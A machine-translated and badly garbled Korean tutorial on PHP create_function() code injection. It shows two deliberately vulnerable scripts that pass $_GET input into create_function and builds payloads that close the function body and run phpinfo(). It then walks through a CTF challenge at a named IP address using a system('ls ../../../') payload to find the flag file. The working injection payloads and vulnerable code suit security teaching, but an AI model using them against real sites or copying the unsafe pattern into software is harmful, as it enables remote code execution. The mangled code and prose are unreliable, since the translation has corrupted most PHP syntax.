() 함수 소개 00x00create_function
PHP 4> = 4.0.1
범위 : PHP 5
,,PHP 7
기능 : 전달 된 매개 변수에 따라 익명 함수를 만들고 고유 한 이름을 반환합니다.
구문 :
create_function ( 문자열 $의 인수 , 문자열 $ 코드 ) // 함수 선언 변수 $ 문자열의 인수 부 방법 // 코드 부에 의해 실행되는 문자열 $ 코드
0x01로는 기능 분석하기
경우
<? PHP는 $의 newfunc = create_function ( '$ A, B를 $ ","복귀 "LN ($ a) + (LN)의 ($ b) ="로그 ($는 * $의 B). " ); 에코 "새로운 익명 함수 $의 newfunc의 \ n을을" ; 에코 $ newfunc (2, M_E). "\ n을" ; ?>
create_function()
익명 함수 (작성 lambda
양식)
create_function () 함수가 평가 () 내에서 실행되고 , 우리의 구현의 후면 발견 return
에 속하는 명세서 create_function()
에서 두번째 인수 string $code
총수.
따라서 create_function 함수에 상당
<? PHP의 함수 lambda1 ( $ A , $의 B ) { 창 "LN ( $ A ) + (LN) ( $의 B ) =". 로그 ( $ A *의 $의 B ); } ?>
0x03으로 구현 코드 주입 케이스
사례 I :
<? PHP의 error_reporting은 (0 ); $ sort_by = $ _GET [ 'sort_by' ]; $ 분류기 = 'strnatcasecmp' ; $ 데이터베이스 = 배열 ( '1234', '4321' ); $ sort_function = '반환 한 *'. $ 분류기 . '($ A [ "". $의 sort_by . ", $ B를 [" ". $의 sort_by '. ']);' ; 에 usort ( $ 데이터베이스 , create_function ( '$의 A, B를 $' $ sort_function )); ?>
payload
건축 :
HTTP : // localhost를 / 테스트 / 1.php sort_by = ' "]);}은 phpinfo (); / *?
조합 실제 환원 공정 :
$ sort_function = '반환 한 *'. $ 분류기 . '($ A [ "". $의 sort_by ' "])}은 phpinfo (); / *
익명 함수의 실제 구현 :
함수 niming ( $ A , $의 B ) { 창 1 * '. $ 분류기. '( $ A [ "". $의 sort_by ' ']);
}
은 phpinfo (); / * }
사례 2 :
<? PHP는 $의 C = $ _GET [ 'C' ]; $ 람다 = create_function ( "나 strlen 창 (( '$ A, B를 $' $ A ) -strlen ( $의 B ) +" "나 strlen (. $의 C ));" ); $ 배열 = 배열 ( '이', 'midding lenth', 'larget' '여기 오래 문자열, 소년 reall' ); 에 usort ( $ 배열 , 람다 달러 ); 인 print_r ( $ 배열 ); ?>
payload
건축 :
HTTP : // 로컬 호스트 / 테스트 / 2.php C = 1))}은 phpinfo (); / *?
조합 실제 환원 공정 :
$ 람다 = create_function ( "나 strlen 창 (( '$ A, $의 B', $ A ) -strlen ( $의 B ) +" "나 strlen (1))}은 phpinfo (); / *).)");
익명 함수의 실제 구현 :
함수 피트 ( $ A , $의 B ) { 창 ( 나 strlen ( $ A ) - 나 strlen ( $의 B ) + "." 나 strlen (1))} 은 phpinfo (); / * )); }
CTF의를 0x04의 create_function 코드 삽입이 있습니다
주소 : http://198.13.45.199:5007/
두 링크, 링크는 PHP 소스가있는 페이지로 이동합니다 "나는 가리 키지 않습니다"를 클릭 http://198.13.45.199:5007/index.php?source
create_function 함수를 참조,이 주입되어야한다
요청을 얻으려면, 그 코드 값을 전달하고 ","페이로드가 성공적으로 구축해야 닫을 수 있습니다
건설 페이로드 :
HTTP : // 198.13.45.199:5007/index.php?code=1;}phpinfo();/*
성공적인 코드 실행
시스템 () 함수 명령은 시스템 동작을 수행
건설 페이로드 :
HTTP : // 198.13.45.199:5007/index.php?code=1;}system(%27ls%20../../../%27);/*
직선 차례와 LS 디렉토리, 플래그를 얻을 것이다 고양이를 엽니 다 플래그를 포함하는 파일의 이름까지 켜고 :
로부터 PHP 7.2.0
시작, create_function()
그것은 폐기